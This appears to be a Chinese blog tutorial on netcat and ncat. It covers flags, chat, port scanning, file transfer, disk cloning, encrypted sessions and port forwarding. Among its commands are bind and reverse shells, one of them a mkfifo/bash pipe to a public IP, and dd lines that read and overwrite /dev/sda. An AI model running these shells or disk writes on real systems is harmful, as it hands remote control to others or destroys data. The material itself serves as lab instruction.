小工具 · 2021年3月22日 0

nc工具的使用方法

NC–NETCAT

强大的网络工具,Linux有自带的netcat,Windows可以在这里下载

-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l          使用监听模式
-e          程序重定向,一旦连接就执行
-n          直接使用IP地址,而不通过域名服务器。
-N          读取到EOF后立即关闭连接
-o<文件名>   输出文件
-p<通信端口> 设置本地主机使用的通信端口。
-q<n>       读取到EOF,n秒后关闭连接
-r 随机端口
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u          使用UDP传输协议。
-v          显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z          无输入/输出,用于扫描。

简单的聊天工具

服务端监听4444端口,客户端连接4444端口

nc -lp 4444
监听4444端口
nc -nv 192.168.145.130 4444
连接4444主机

扫描端口

挺慢的,现在都用nmap扫描

nc -nvz 192.168.145.130 1-100

正向shell

被控制:nc -lp 4444 -e /bin/bash
控制:nc -nv 192.168.145.130 4444

反弹shell

某些版本的netcat有e参数,可以用-e参数运行程序,Ubuntu下的netcat是没有e参数的,但也可以反弹shell

控制:nc -lvnp 4444
被控制:nc 192.168.145.130 4444 -e /bin/bash
​
//Ubuntu:
mkfifo /tmp/f;bash -i </tmp/f|nc 106.52.59.243 8888 > /tmp/f

传文件

用了linux的重定向功能,使用N参数可以在检测到文件结束符时自动断开连接

发送方:nc -N 192.168.145.128 4444 < 1.mp4
接收方:nc -lvnp 4444 > 1.mp4
或
发送方:nc -N -lvnp 4444 < 1.mp4
接收方:nc 192.168.145.128 4444 > 1.mp4

传目录

nc并没有传目录的功能,但是可以结合管道命令将文件夹压缩后进行传输,

发送方:tar -cvf - Others/ | nc -N -lp 4444
接收方:nc -nv 192.168.145.1 4444 | tar -xvf -

流媒体

使用前先安装mplayer,apt install mplayer,然后结合管道命令

cat 1.mp4 | nc -N -lp 4444
nc -nv 172.30.206.118 4444 | mplayer -vo x11 -cache 30000 -

克隆硬盘

复制目标服务器的硬盘

就是这两条命令把我Kali搞坏了,重装花了一下午时间,/dev/sda直接写入硬盘,测试前记得拍个快照,硬盘大小设置小一点,sda换成sdb,应该能传完。

接收方:nc -lp 4444 | dd of=/dev/sda
发送方:dd if=/dev/sda | nc -N -nv 192.168.145.128 4444

NC — NCAT

ncat是netcat的plus版本,集成在nmap中,多了点功能,Kali中使用ncat代替netcat,直接用nc命令就能使用ncat,nc所有的包都是明文传输的,加密需要使用其他软件结合管道命令,ncat有加密功能

Windows版本可以在这里下载nmap

-c, --sh-exec <command>   由/bin/sh运行指定的命令
-e, --exec <command>       运行指定的命令
  --allow               仅允许指定的host进行连接
  --deny                 不允许指定的host进行连接
  --ssl                 加密传输

加密传输

被控制:ncat -c bash --allow 192.168.145.1 -lvnp 4444 --ssl
//仅允许192.168.145.1对其进行加密的远程控制
控制:ncat -nv 192.168.145.130 4444 --ssl

双向端口转发

将本地的8888端口转发到远程主机的8888端口

mkfifo /tmp/f
ncat -lkvnp 8888 </tmp/f | ncat 192.168.145.1 8888 1>/tmp/f

简易聊天服务器

使用--chat参数可以使监听的ncat变成一个简易的多人聊天服务器

ncat -lvnp 8888 --chat
ncat 192.168.145.130 8888

连上去之后大概长这样:

<announce> 192.168.145.1 is connected as <user352>.
<announce> already connected: nobody.
<announce> 192.168.145.2 is connected as <user392>.
<announce> already connected: 192.168.145.1 as <user352>.
<announce> 192.168.145.4 is connected as <user400>.
<announce> already connected: 192.168.145.1 as <user352>, 192.168.145.2 as <user392>.
Hello
<user392> Hi
<user400> How are you

代理功能

使用--proxy参数设置代理,例如下面的例子使用代理服务器连接Google的443端口

ncat --proxy '127.0.0.1:8888' www.google.com 443 --ssl